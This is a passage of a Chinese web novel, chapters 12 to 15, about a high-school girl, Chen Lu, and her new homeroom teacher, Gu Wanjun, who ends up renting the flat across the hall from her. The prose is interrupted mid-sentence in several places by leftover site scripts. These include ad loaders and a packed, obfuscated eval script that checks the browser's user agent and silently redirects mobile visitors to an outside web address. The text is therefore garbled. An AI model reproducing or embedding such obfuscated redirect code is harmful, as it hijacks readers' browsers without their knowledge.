她的心情陈璐完全理解,可实际上唐瑛并没有傅一雯说的那么不好。 至少在讲课方面,陈璐觉得唐瑛和孙丽霞就是讲课方式不同而已。 傅一雯之所以不满意,大部分还是因为她沉浸在孙丽霞不教12班的自我情绪当中。 陈璐本来想着要不要回应些什么,结果傅一雯在她耳边嘚吧嘚吧吐槽个不停,她压根插不进去话。 听到后来,陈璐大脑逐渐放空,思绪在不知不觉中飘远。 也不知道顾婉君怎么样了。 12. 12 上午四节课很快就过去了。 班主任顾婉君始终没有来班级巡视,倒是班级后面的监控一直转个不停。 想起杨金凤和顾婉君的对话,每个人体质不同,有的人生理期的时候会难受得死去活来,万一顾婉君就是这种体质…… 陈璐想着想着开始担心起来,思绪也随之飘远。 以至于前四节课被叫到名字提问时,要不是坐在后面的傅一雯猛踢她的凳子提醒她,陈璐非被罚站罚写办公室谈话一条龙不可。 …… 第四节课下课。 刚刚那节课是地理课,地理老师罕见地没压堂。 下课铃一响,班里大部分同学直接趴在桌上补觉。 一节课连踹陈璐凳子五六次的傅一雯伸了个懒腰,她从座位上弹起来,伸手按住陈璐的肩膀,长着小雀斑的小圆脸上写满了疑惑: “我说璐璐诶,你这一上午走多少次神了,平常也没见你构思小说构思得这么猛啊,今天怎么回事啊,一连四节课!四节课啊!我这脚踢凳子都踢麻了!” “……” 陈璐张了张嘴,没出声。 事关别人的隐私问题,她总不能说她一直在担心处在生理期的顾婉君吧。 而且这种情况本来就不是她应该担心的。 …… 眼见陈璐张嘴之后又闭上,傅一雯刚想追问,与此同时,江蓁蓁也过来了。 朋友这么多年,这点默契还是有的,刚才那堂课上,陈璐明显不在状态。 在2V1的追问下,陈璐不好说实话,却也不想撒谎,进退两难时,语文课代表秦浩阳恰好打断了三人的对话。 “陈璐,那个——” 声音一出,三道视线齐刷刷地定格在打断对话的“不速之客”秦浩阳身上。 书生气十足的男生被盯得有些发慌,都不知道该看哪儿了,直到陈璐问了一句怎么了,他才语气忐忑道: “语文组新来了一堆卷子和答题卡,我查卷子速度慢,又没经验,不知道怎么摆放,你能跟我一起去办公室教我一下吗?” 秦浩阳边说边推了推厚厚的近视眼镜,他说话声音不大,比起商量,他的语气更像是在请求陈璐帮忙。 话音一落,在傅一雯和江蓁蓁似是八卦似是调侃的注视下,陈璐想都没想就答应了。 于公,顾婉君交待过让她把手里的课代表事务交接给秦浩阳,这种情况她应该去; 于私,虽然知道有些事不是她应该关心的,可陈璐不得不承认,她是真的担心顾婉君。 …… 眼见着陈璐跟秦浩阳一前一后离开了教室,傅一雯轻啧两声,胳膊肘怼了怼身旁的江蓁蓁,感慨道: “看见没,兔子急了还咬人呢,可算是让这书呆子找到接近璐璐的机会了。” “他还喜欢璐璐呢?”江蓁蓁转头看着傅一雯,语气有些惊讶。 “瞅他那样就是呗,刚才你没看着啊,他那眼神压根不敢看璐璐,一看脸就变色儿!” 傅一雯皱皱鼻子,有些恨铁不成钢: “哎呀,秦浩阳这书呆子,你让我说他点什么好,从高一暗恋璐璐到现在,跟璐璐一起选上了语文课代表,结果之后这书呆子竟然就没动静了,哪有他这么追女孩的?像块木头似的,服了!” “那你说璐璐……” 江蓁蓁欲言又止,猜到她接下来要说什么的傅一雯就撇着嘴角连连摆手: “我看够呛,他俩啊,没戏!” “啊?为什么啊?” “啧,你看不出来啊,那书呆子压根不是璐璐的菜!” “可我觉得秦浩阳人好像还不错。” “嗯,你看,你这不也是给那书呆子发好人卡了吗?” “……”江蓁蓁无力反驳,确实,除了人好这一点,她也夸不出秦浩阳什么了。 “行了,不跟你说了,没时间了,走了!” “是去厕所吗?” “啧,去什么厕所,文综办公室,孙老师的花还没浇呢。” “……傅小雯,你这样不太好吧,唐老师应该也在办公室呢。”江蓁蓁犹豫着好心提醒。 “啧,你跟璐璐俩人串通好了吧,我找孙老师,关唐瑛什么事啊,怎么的,她教咱们政治,我还成她的私有财产了?” “不是,可是毕竟现在孙老师不教咱们了,你总得考虑一下唐老师的想法吧,而且1班也有政治课代表吗,他们不能帮孙老师干这些吗?干嘛什么事都让你去啊?” “害,1班那俩课代表一天才去办公室一次,有好多东西都得孙老师自己整,我当然要去帮忙啊!” “可是——” “行了,别解释了,再磨叽磨叽一会都上课了,走了!” “……” —— 语文办公室。 陈璐和秦浩阳到办公室的时候,顾婉君正拿着一支带胶套的按动中性笔蹲在办公室中央的空地上,看样子应该是要准备查卷子。 两人一进门,蹲在地上的顾婉君闻声抬头。 视线对了个正着,看着顾婉君早上惨白的脸此刻回了几分血色,陈璐揪了一上午的心终是稍微放松了一些。 …… 视线扫过两人的脸,最后定格在陈璐那张清冷俊秀的脸上。 顾婉君站起身,一双桃花眼里不自觉浮上一抹温柔的笑意:“你们来了啊。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “嗯,我查卷子还不太熟练,所以叫了陈璐来帮忙,老师,我们来吧。” 秦浩阳开口回应,听到这话,顾婉君这才移开视线,看了男生一眼: “好,辛苦你们两个了,我办公桌上笔筒里还有查卷子的笔,浩阳,你再去拿一支。” 顾婉君一边交待秦浩阳,一边边把自己手里的笔递给陈璐。 眼见秦浩阳去办公桌前拿笔,借着递笔的机会,顾婉君轻轻捏了捏陈璐圆润的指尖,女人眉目温柔,小声道谢: “你送的热帖让我感觉好多了,谢谢你啊。” “……” 突如其来的举动和“悄悄话”吓了陈璐一跳,被捏过的指尖不自觉抖了一下。 “还有你帮我接的热水,辛苦了。” “……” 温言软语落在耳畔,对上眼前那双秋水长天的桃花眼,陈璐瞳孔地震,呼吸停滞,被顾婉君捏过的手指此刻好像被烧得正红的火星烫到了一般,酥麻滚烫、犹如蚂蚁啃食般的感觉迅速传遍陈璐全身,直达心脏! 原来艺术当真来源于生活。 这种感觉陈璐过去只在小说描写里见到过。 可是让她第一次切身体会到这种感觉的对象和情境是不是有点不太对劲? 另外,自己这个擂鼓般的心跳声是正常的吗? …… 眼见陈璐表情怔愣,举着中性笔的手一动不动,顾婉君笑意渐淡,有些不明所以,她想着要不要再开口说点什么,眼前人那对浓密的长睫如蝴蝶振翅般飞速扇动了几下,猛然回过神来。 目光短暂对视,陈璐低下头,立马背对着顾婉君蹲下埋头查卷子,仿佛什么都没发生一般。 当然,如果没被顾婉君看到她渐渐染上粉红的耳朵的话。 这孩子怎么了?是不习惯别人说谢谢吗? 顾婉君想不明白,却又觉得红了耳朵的陈璐可爱得很。 熟练的查卷子声唰唰唰响起,顾婉君弯了弯眉眼,一转头,发现挑好笔的秦浩阳不知什么时候站在自己左后方。 男生微微歪着头,那道直白中带着几分青涩悸动的目光透过厚厚的镜片,就那么直勾勾地盯着蹲在地上查卷子的陈璐看。 顾婉君看看秦浩阳,又看看蹲在地上的陈璐,弧度上扬的唇角渐渐抿抿成一条直线,她当即横在陈璐和秦浩阳之间,挡住了秦浩阳的注视: “秦浩阳,你去查那边的答题卡。”顾婉君伸手指了指那摞离陈璐最远的答题卡。 话音一落,盯出神了的秦浩阳才反应过来,似乎是被撞破了某种心思,男生赶忙低下头掩饰自己飘忽的眼神,说了一句好的老师。 …… 13. 13 语文办公室里。 老师学生各忙各的,耳边几乎只有查卷子的唰唰声。 办公桌前,表面上看顾婉君是在埋头批早上考的语文小条,实际上她的余光和耳朵一直在注意蹲在办公室中央查卷子的两人的动向。 只要秦浩阳一靠近跟陈璐搭话,顾婉君警惕探寻的目光就第一时间扫了过去。 难怪上学时期老师抓早恋一抓一个准,合着学生时期的暗戳戳表现得这么明显,这秦浩阳就差没把“我喜欢陈璐”几个字写在脸上了。 手里批语文小条的钢笔墨水已经快干涸了,回想起刚才秦浩阳看陈璐的那个青涩悸动的眼神,顾婉君在心里叹了口气。 这两个孩子现在到底是什么情况? 是秦浩阳单恋陈璐?还是两个人已经互通心意了? 如果是互通心意…… 顾婉君果断摇了摇头。 这种可能性几乎为零。 先不说陈璐全程压根就没看秦浩阳,更主要的是,不知道为什么,顾婉君总觉得陈璐不像是会早恋的孩子。 或者说退一万步来讲,就算陈璐早恋,顾婉君觉得对方应该也不会喜欢秦浩阳这种小男生吧…… 毫无根据的猜想从脑海里冒出来,意识到自己好像跑题了,顾婉君揉了揉额角,唇角多了一抹苦笑。 不管怎么说,秦浩阳暗恋陈璐的事应该是八九不离十了,如果世上有后悔药能重新选择,顾婉君一定不会让秦浩阳当语文课代表。 她这不就是相当于间接给学生早恋提供机会吗? 顾婉君越想越头疼。 …… 到底是当过几学期的课代表经验丰富,陈璐条理清晰,动作麻利,在打上课铃之前,她把摆在地上的十几摞卷子都查完了。 和秦浩阳查出来的几摞答题卡汇总后,陈璐把试卷对应答题卡分摞在贴有12班的书架上摆放好,她一边摆一边用最简单的话告诉秦浩阳之后应该怎么做。 “之后要是用哪套卷子按顺序拿就行,我都用便签标好了。” “嗯……” 视线交汇,秦浩阳突然移开视线低下头,陈璐不明所以,以为对方是没听明白,她语气公事公办地问了一句:“有问题?” “啊?” “我哪儿没说清楚?” “奥,没有问题没有问题,都很清楚……”秦浩阳赶忙解释。 “行。” 陈璐一个字直接结束了这场略显尴尬的对话。 她知道秦浩阳是出了名的性子慢,毕竟每个人性格不同,这很正常。 只是以后在查卷子这些事情上恐怕顾婉君要辛苦一下了。 不知怎么的,陈璐已经开始替顾婉君担心了,完成任务的她想着转头想跟顾婉君说一声卷子都查完了,结果却发现办公桌前,顾婉君撑着太阳穴,正一瞬不瞬地看着他们。 比起看这个词,陈璐觉得落在自己身上的目光更像是观察。 想起查卷子前顾婉君捏自己手指的小动作,陈璐不禁面上一热,她发现这个新老师好像总是在突破她对所有老师固有的刻板印象。 怎么会有这样的老师,又怎么偏偏叫她碰上了? …… 眼见卷子答题卡查好摆的整齐,顾婉君从抽屉里翻出来一把糖分给陈璐和秦浩阳。 “辛苦你们了。” 顾婉君将糖分送给两人,分给秦浩阳的是话梅硬糖,分给陈璐的是顾婉君本人很喜欢的大白兔奶糖。 虽说顾婉君没有想着要刻意这样分,可左右手却先她大脑一步分好了糖果。 陈璐应该会喜欢吧。 顾婉君心里打起了鼓。 …… 白色卡通小兔子包装纸映入眼帘。 顾婉君喜欢大白兔奶糖吗? 陈璐抿抿唇,接过糖后和秦浩阳两人先后说了声谢谢老师。 …… 按理来说,顾婉君应该让查完卷子的两人回班了,可不知是不是顾婉君过于担心两人的关系,她敏锐地发现秦浩阳好像瞥了两眼身旁的陈璐,一副欲言 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又止的模样。 为什么总要看陈璐呢。 顾婉君眉心微蹙,没忍住问了一句怎么了。 以为是在问自己,陈璐刚想下意识接一句什么,结果一抬头才发现顾婉君问这话时看的不是她,而是语文课代表秦浩阳。 浓密的眼睫像是被针扎了般快速颤动两下,陈璐握了握手里的奶糖,垂下眸子没说话。 上课预备铃打响,还未开始的话题也没时间开始了,陈璐和秦浩阳告别顾婉君,准备回班上课。 两人刚出办公室门,秦浩阳突然试探着开口: “陈璐,你要和我换换吗?” “什么?” “糖,我记得你好像不太喜欢吃甜的,我这个是话梅味儿的,不那么甜。” 秦浩阳语气小心翼翼,他一边说一边打量陈璐的表情,生怕惹得女孩不高兴。 听到这话,陈璐第一时间转头看了一眼刚刚合上缝隙的办公室门,确保顾婉君应该听不到,她才公事公办地回了一句不用。 这糖她本来就不打算吃,顾婉君分给她什么就是什么。 预备铃快打完了,两人没再说话。 确切来说,是陈璐没给秦浩阳机会。 换糖话题之后,以怕耽误上课为由,陈璐直接一路跑下楼。 …… 办公室里。 或是过于担心两人的关系,或是有意留心别的什么,刚才两人离开时的对话被顾婉君听了个大概。 但她也只听到秦浩阳说的那句陈璐不喜欢吃甜的,后面她正想听陈璐会怎么回答的时候,办公室的门正好关上了。 连人喜不喜欢吃什么都知道,可见秦浩阳对陈璐真是下了功夫。 而自己刚刚又间接帮秦浩阳创造出了一个不该有的机会。 顾婉君不自觉蹙了蹙眉心,有些懊恼。 手边的抽屉没有完全合上,大白兔奶糖本就为数不多,送给陈璐一小把之后,现在就只剩两三个了。 而此刻的顾婉君又哪有心情吃糖呢。 14. 14 高二(12)班。 这节是数学课,好在没人迟到。 回班之后,陈璐第一时间在自己那本黑色笔记本最后一页记下今天的日期。 从今天开始算起,之后大约一周的时间她都要回姥姥家住。 写好日期后,陈璐把笔记本合上放进书桌。 从答应顾婉君那天开始,陈璐当真没有再在数学课上写过小说。 不仅如此,她还开始试着努力认真听数学题,甚至还会主动抽时间练习做数学题。 但毕竟是从来没有认真听过的学科,刚捡起来的时候陈璐完全不知道该从哪下手。 或许是多年好友之间的默契,昨晚看到陈璐上黑板展示数学题,感受到好友想要开始学数学的心情,江蓁蓁熬了个大夜给陈璐整理出来一份简易精华版的数学笔记,里面包含重点公式和经典例题,她让陈璐先把这些背会,其余的她还会找时间一一整理。 …… 数学小组讨论时间。 陈璐拿着江蓁蓁给自己的笔记边背边转身讨论,她刚转过来,拿着试卷的傅一雯立马回头扫了一眼监控和下地巡视的数学老师。 眼见没有危险,傅一雯想借着讨论的机会跟陈璐说话,可在看见陈璐手里的数学公式时,已经张开的嘴动了动,最后又闭上了。 “怎么了?”陈璐注意到了傅一雯的小动作。 话音一落,傅一雯就差没把想说两个字写在脸上了,可想着陈璐好不容易愿意学数学,自己还是先别捣乱了,以至于到最后她只憋出来一句: “没啥大事,你先背吧。” “有事就说,说一半算怎么回事。”显然,从傅一雯的表情来看,陈璐不相信对方没事。 “真没事。”傅一雯还在嘴硬。 “真不说?” “……” “不说拉倒,谁难受谁知道。” 说罢,陈璐作势要重新翻开笔记本,结果被突然伸出来的小胖手给按住了,傅一雯四下张望了几眼,语气里是压不住的急切: “行了行了,我说我说,我说还不行吗,你看你这人,我这不是怕耽误你学习吗!” “到底怎么了?” “害。”耷拉下来的嘴角快砸到脚背上了,傅一雯语气里多了几分不满:“还不是那个唐瑛。” “她怎么了?” “刚才课间我去文综办公室给孙老师浇花,碰巧孙老师不在,唐瑛在,结果你猜她看见我的时候说什么?” “……” 陈璐摇摇头,表示猜不到,大概是想到了什么,她眼见着傅一雯一脑门子黑线,越说越来气: “她阴阳怪气地说让我一天天别总往办公室跑,不知道的还以为文综办公室是我家!嘿我个暴脾气!我去文综办公室又不是找她的,关她什么事啊?她凭什么撵我啊?吃饱了撑的吧!?” “……我觉得她说的其实没问题。”犹豫片刻,陈璐实话实说。 看着陈璐一脸平静、完全没有开玩笑的样子,傅一雯眨眨眼睛,有点懵了: “什么?你的意思是说唐瑛说得没问题?” “嗯,首先,无论是帮孙老师浇花还是送卷子,这都不是你的义务,你没必要每个课间都去帮忙,其次,作为老师,唐瑛不希望自己的学生因为这些小事耽误上课,这是站在你的角度思考为你好,这有什么问题?” “不是,那她……我……啧……” 对上陈璐清亮干净的眸子,傅一雯眼睛眨得像车灯打双闪,却硬是没挑出错来。 眼见陈璐说得在理,傅一雯鼓了鼓腮帮子,无力反驳:“行,就算是你说得对,她是老师,她为我好,可我去找孙老师是我自愿的啊,关她什么事啊!还有,她还阴阳怪气!” 陈璐表情认真:“阴阳怪气可能是她的不对。” 傅一雯疯狂点头:“是吧!” 陈璐斩钉截铁:“可其他的我觉得她说的没问题。” 傅一雯:“……” “之前孙老师教咱们班的时候,你课间去办公室,或是查卷子,或是完成孙老师给你的别的任务,回班时总是迟到,为此被各科老师罚站过很多次,不是吗?” “璐璐,你在说什么啊?”傅一雯第一时间把所有责任揽在自己身上:“我回来晚那是因为我有时候动作慢,是我的问题,跟孙老师有什么关系啊?” “怎么会没关系,她从来都没为你——” “对!这道题就是这么解的,老师之前还说还有一种更简单的解法来着!” 话题说到关键,傅一雯突然打断陈璐的话,并一本正经地拿着中性笔在卷子上勾勾画画起来。 收到好友的眼色示意,不用说,数学老师就在附近。 陈璐面上配合着傅一雯演戏,心里却没忍住叹了口气。 刚刚那个话题才说到关键时刻就这么被打断了,再想找机会说又不知道是什么时候,傅一雯能不能听进去还不一定。 …… 之后的几个课间,一下课傅一雯照常往文综办公室跑。 显然,唐瑛的阴阳怪气和陈璐的实话实说对她来说都没什么作用。 一整天下来,班级后面的监控转个不停,甚至连班级同学都开始不禁开始怀疑到底是学年主任揪他们12班不放,还是班主任顾婉君住在监控室了。 不用怀疑,就是顾婉君住办公室了。 宁城一中虽说位于小县城,学校里里外外都拿不出什么钱,但为了更好地促进学生学习,对于每个教室监控的布置,校长都毫不吝惜,购买的摄像头都是清晰度最好的。 课上课下监控看下来,顾婉君把学生里上课睡觉、传纸条、小组讨论不认真、一上课就上厕所等不良课堂表现记录下来,准备晚自习的时候好好强调一下。 同时,她也着重留意了一下陈璐和秦浩阳之间的互动。 早恋问题不是小事,宁可信其有,不可信其无,顾婉君没法不把它当回事。 然而从监控看下来,陈璐和秦浩阳两个人几乎零交流,偶尔可以看到课间时秦浩阳时不时地看向陈璐的方向,可陈璐从始至终都在忙自己的事。 这样看来,两个孩子目前还没什么事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13977132|148073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看着清晰的监控画面,顾婉君转了转手里的签字笔,自顾自地点头。 —— 接下来的几天,不论是早上去学校还是晚上回家,顾婉君和陈璐一直都坐同一班公交。 这几天,每次下晚自习铃一响,陈璐几乎都是第一个窜出教室。 别说顾婉君,就连坐在陈璐后面近在咫尺的傅一雯想抓人都抓不着。 本来冬天赶公交就难,再碰上生理期,哪怕是顾婉君想早点去公交站牌前排队占座,却也是心有余而力不足。 由于之前有陈璐帮自己占座的经历,再加上这孩子下晚自习铃一响就跑没影了,顾婉君大概猜到可能会有第二次第三次占座。 然而当猜测真变成现实,顾婉君亲眼看到陈璐连着几晚、在气儿都还没喘匀的情况下已经帮自己占好了座位、而且还都是靠窗不会被挤到的位置时,就是铁打的心也会有所触动,更别说细腻感性的顾婉君。 怎么会有这么贴心这么乖的小孩,最幸运的是这小孩还是她的学生。 真好啊。 顾婉君不止一次在心里默默感慨自己运气好。 然而这种感慨在陈璐连续帮忙占座的第九天戛然而止。 某天晚上,顾婉君一边为提前两天摆脱生理期的烦恼而感到放松,一边却发现陈璐不再和自己一班车了。 人潮拥挤的公交车上,顾婉君踉跄着来来回回打量了每张脸好几遍,最终确定陈璐不在车上。 怎么回事?陈璐呢?难道是没赶上车? 起初顾婉君是这么想的,可直到之后的几天陈璐始终都没出现在这班公交车上,并且在下晚自习大约十分钟后,那个纯蓝色的头像就在家长群里接龙说已安全到家,顾婉君这才意识到,陈璐大概是搬家了。 搬家都没想着说要跟她说一声吗? 顾婉君有点失落。 虽说学生搬家没必要通知老师,而且如果真是搬到离学校更近的地方,那对陈璐来说绝对是好事一桩,她应该替陈璐开心才对。 顾婉君叹了口气,压根笑不出来。 自从不坐同一辆公交车之后,两人单独说话的机会几乎为零,新语文课代表秦浩阳逐渐熟练了各种工作之后,陈璐几乎连语文办公室也不来了,这样一来顾婉君连主动问陈璐怎么搬家了的机会都没了。 如果从傅一雯江蓁蓁那儿旁敲侧击地问一下呢…… 顾婉君又觉得这样好像不太尊重陈璐本人。 深思熟虑的思绪捋开估计可以绕宁城一圈,可回过头来看一眼实际行动,顾婉君发现自己还在原地。 …… 某周六晚上。 车窗外一片昏暗,天空飘着小雪,还有半个小时才能到家。 顾婉君看着窗外,或许是明天放假,赋予今晚难得的好运气,她成功靠自己找到了座位。 窗外的昏暗隐去了顾婉君半张轮廓,此刻她坐在以前经常和陈璐一起坐的两人座上,可身边却不是那个能让她心里软成一片的孩子。 陈璐已经搬走了,自己找房子的计划也该加紧提上日程了。 15. 15 要说这一周陈璐过得属实有点辛苦。 连着好几个晚上冲出教室狂奔到公交站牌前排队,车来了上车抢座,之后再坐将近一个小时的公交车去老房子住…… 有些晕车体质的陈璐好几次差点被折腾吐了,可碍于顾婉君在旁边,她硬是闭着眼睛装睡忍住了。 这样的日子陈璐硬扛了七八天,估摸着顾婉君的生理期过去、自己不用再帮对方占座后,陈璐当晚回了学校对面的小区——玫瑰家园。 玫瑰家园是宁城一中正对面的学区房,陈璐姥姥过世之前,将房门钥匙亲手交到了陈璐手里。 老人一辈子不舍得吃不舍得穿、省吃俭用攒出了这么一套寸土寸金的学区房来,为的就是能让自己的外孙女好好上高中。 哪怕之后陈璐打算离开宁城,这个地段的房子也能卖上价钱。 姥姥过世之后,陈璐在原来的老房子,也就是顾婉君隔壁的那所老小区度过了一整个初三。 直到考上宁城一中时,不想浪费姥姥心意的陈璐才从老房子搬到学校对面的玫瑰家园来。 起初不再坐那趟公交车时,陈璐犹豫过要不要跟顾婉君说一声,可她本来是说的少做的多的性子,思来想去好几天,到最后也没说成。 她坐不坐那趟公交车跟顾婉君有什么关系,说不定人家压根就不关心。 …… —— 经历六天睡得比狗晚起得比鸡早得上学日,学生们终于迎来了宝贵的周日假期。 由于形成了早起晚睡的生物钟,哪怕是假期,陈璐还是天不亮就自然而然地睁开了眼睛。 窗外还是一片昏暗,屋内人已经忙活起来了。 起床之后,陈璐把秋季校服和一些日常衣物搓完衣领袖口后放进洗衣机,趁着洗衣机叽里咕噜工作的时间,她简单洗漱,之后把家里里外外打扫了一遍,最后又坐在桌前把剩下的家庭作业做完。 晾好洗过的衣服,陈璐重新坐在桌前,开始构思小说。 手头有两篇短篇悬疑下周就要交稿。 自从不再数学课上写小说,陈璐用来写作的时间直接被拦腰砍半,她只能用更多的课余时间来填补。 不知过了多久,寂静的窗外渐渐喧嚣起来,太阳从云层后探出头来,温暖的光芒照在厚厚的积雪上,给原本白茫茫的世界添加了几分色彩。 阳光透过窗户,落在陈璐伏案写作的书桌上,她这才从小说构思中跳脱出来,伸个懒腰抬头一看时间,已经快中午了。 虽然陈璐没感觉到饿,可这一上午她的胃已经抗议好几回了,似乎是在提醒她到点吃饭了。 合上黑色笔记本,陈璐准备换个衣服,下楼去超市买些菜,顺便把门口收拾出来的垃圾扔了。 拿上家门钥匙,戴好口罩,陈璐拎着两袋垃圾出了门。 陈璐住3楼,对门302住的是一位热心的房东阿姨,之前经常给陈璐送吃的。 不过陈璐已经有一段时间没见到对方了。 时间对不上是一个原因,最后一次见面时,陈璐听那个房东阿姨说她女儿近期要出国工作,她也要跟着出国陪女儿,这间房子大概率会售卖或出租出去。 也不知道之后会住进来什么人。 看着贴着春联的302房门,想起房东阿姨之前对自己的关心,那是从姥姥过世之后,自己能感受到的为数不多的来自长辈的温暖,陈璐有些舍不得。 失落难过的情绪悄悄在心底蔓延,陈璐深知天下没有不散的筵席,就连和自己最近的母亲都能一声不吭地离开,更何况别人呢。 只有自己才能一直陪着自己。 …… 锁好家门,陈璐拎着垃圾准备下楼,与此同时,302房门突然从里面打开了。 谈话声顺着门缝儿传出来,自然而然地落在陈璐的耳朵里,两人的声音怎么听怎么耳熟—— “阿姨,我诚心租,年付,您看这房租还能再便宜点吗?” “哎呀,看你也是个知道爱惜房子的姑娘,来看房还自备鞋套,我听我闺女说了,你这刚来我们这小县城当老师也不容易,姨就再给你便宜二百!” “太好了,那真是太谢谢您了,等我跟您女儿沟通好之后我们直接线上签约,谢谢您阿姨。” “哎呦这是干啥,咋还鞠上躬了,我女儿也就你这个岁数,你们年轻人在外面不容易,阿姨都知道,那啥,你是一会找搬家的车还是咋整——呦,璐璐啊!” 看到站在楼梯口的陈璐时,房东阿姨激动地惊呼了一声,完全没注意到身旁女人在看到陈璐时不可置信的震惊表情。 房东阿姨眉飞色舞,自顾自地走到楼梯口搂住陈璐的肩膀寒暄: “小丫头,咱娘俩有段时间没见了,你这是上哪去啊,咋穿这么少,也不知道戴个帽子,外头零下好几十度,多冷啊!” “……还行,不冷。” 陈璐小声回答,视线隔空相撞,她怎么也没想到会在家门口看到顾婉君。 虽然现在是周日,但怎么说对方是老师,自己得主动打个招呼吧。 迎面砸来的信息量太多,陈璐没时间去想刚才听到的对话,犹豫几秒后,她主动开口:“老师好。” “你好。”顾婉君笑着回应,可她却明显感觉到了自己语气里的不自然。 考虑到之前不愉快的邻居经历,顾婉君刚来看房的时候就特意问了一下对门住着什么样的人。 当房东阿姨眉开眼笑地说对门301住着一个高中生,可乖可听话了,谁见了都得喜欢时,顾婉君脑海里不自觉闪现过陈璐那张清冷好看的脸。 可谁能想到阿姨口中的这个乖巧懂事的高中生竟然真的就是自己这几天一直想着念着的陈璐? 怎么会有这么巧的事? 顾婉君不禁再一次感慨命运和缘分的安排。 …… 一听两人认识,房东阿姨直接笑开了花,就差没拍大腿了: “哎呦,丫头,这姑娘是你的老师啊?这不是巧了吗!姑娘啊——不是,顾老师啊,璐璐可是个好孩子,懂事听话成绩还好,她就住你对门301,以后就拜托你多关照一下了,姨每个月房租再给你减五十块钱!” “……” …… 走到楼下单元门时,左右说了一路的房东阿姨被丈夫一通电话叫走了,只剩下拎着垃圾袋的陈璐和拿到302房门钥匙的顾婉君,两人站在单元门口,目送着房东阿姨离开。 这段时间来,今天是难得不下雪且有太阳的日子。 小区里,孩子们在雪地上尽情玩耍,堆雪人、打雪仗,你追我赶,大人们三三两两地聚在一起,聊着家常,享受着东北冬天难得的阳光和惬意。 “你一会——嗯,你先说。” “老师,你一会——啊……你先说吧。” 两人几乎是异口同声。 四目相对,顾婉君弯了弯眉眼,没忍住笑出了声,轻笑声仿佛泉水叮咚,清脆悦耳,顺着陈璐耳边缓缓流淌。 顾婉君挑了挑眉,微笑道:“你先说。” 陈璐抿抿唇,从善如流:“老师,你一会要搬家吗?” 顾婉君点头,实话实说:“嗯,之前那个房子离学校太远了,上下班不方便。” “这样啊……” 陈璐思绪翻飞,半垂下眼眸时,她突然发现顾婉君右手手背上不知为什么贴了一大片药棉。 “你受伤了吗?” “嗯?” 注意到陈璐的目光,顾婉君眼里闪过一抹不安,她立马把贴着药棉的右手往棉服袖子里缩了缩,语气不经意道: “没什么,搬书的时候不小心划了一下。” “你自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13977133|148073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搬吗?” “本来有朋友要来帮忙的,但是我没多少东西,一个人搬足够了。” 顾婉君笑笑,当着学生面说谎的感觉可不算好。 来宁城不到一年,除了天天见面的同事,顾婉君根本没时间交朋友。 再说了,她搬家的事根本没人知道,她也不好意思麻烦谁。 …… 眼见陈璐一副若有所思的模样,顾婉君生怕这人再追问下去,她直接转移了话题:“对了,你有事要出去吧,快去吧,趁现在天气好。” “我没什么事,就是下楼扔个垃圾。”陈璐错开顾婉君的目光,低头看了看自己手里的垃圾袋。 这是她第二次对顾婉君说谎。 “这样啊,那你扔完垃圾快上楼吧,刚才那个阿姨说得对,你穿得太少了,别冻感冒了,回去吧,我先走了。” 顾婉君急着结束话题,说完,她笑着拍了拍陈璐的肩膀以示告别,之后朝着小区门口方向走去。 …… 两分钟后。 垃圾袋卷着桶边的雪花一起进了垃圾桶,陈璐搓了搓冻红的指尖,脑海里一直在捋顺刚才发生的一切。 顾婉君要搬到对门302了。 顾婉君右手受伤了。 顾婉君说要自己一个人搬家。 想起高一那年从老房子搬到现在的小区,陈璐想想都知道一个人搬家有多难,她当时也是不想麻烦任何人,准备自己搬家来着,可傅一雯和江蓁蓁天还没亮就堵到她家家门口了。 陈璐东西并不多,但三个人还是忙忙活活一上午才搬完。 现如今顾婉君一个人搬家,还是在右手有伤的情况下,真的可以吗? 陈璐抿了抿嘴唇,眼里闪过一抹担忧。 自己要去帮忙吗? 陈璐犹豫了。 可是顾婉君都没让朋友帮忙,会让她帮忙吗? 况且对方是自己的班任,她会不会介意学生参与她的私生活啊? 每迈一节楼梯,新的顾虑就从脑海里连二连三地冒出来,陈璐拧了拧眉头,反应过来的时候,她已经站在自家家门口了。 超市也没去,菜也没买,光想着顾婉君搬家的事了。 摸到口袋里微凉的家门钥匙时,似乎是收到了什么感召,陈璐抿了抿唇,回头看了一眼对门302。 —— 玫瑰家园小区门口。 顾婉君走到公交站牌前时,上一辆公交车刚刚离开。 今天不算冷,连呵出的白汽都淡了不少。 利用等车的时间,顾婉君大概在脑海里计划了一下自己一会回家该先收拾什么。 她没有叫上门搬家服务,只预约了一辆只负责搬运不负责收拾的小货车,这个是搬家服务里最便宜的一项了。 也就是说,收拾东西的重任都落在了顾婉君一个人身上。 虽说东西不多,但要是真收拾起来,也是有些费时费力的。 就比如说今天早上,顾婉君着急收拾书,结果被旧书柜上凸出来的钉子划破了手背,到现在还疼着呢。 冷风吹过,顾婉君双手揣兜,缩了缩脖子,她在心里安慰自己说好在今天找到了合适的房子,不然又得推到下周去了。 而且新房子还在陈璐对门。 这对顾婉君来说已经是意外之喜了。 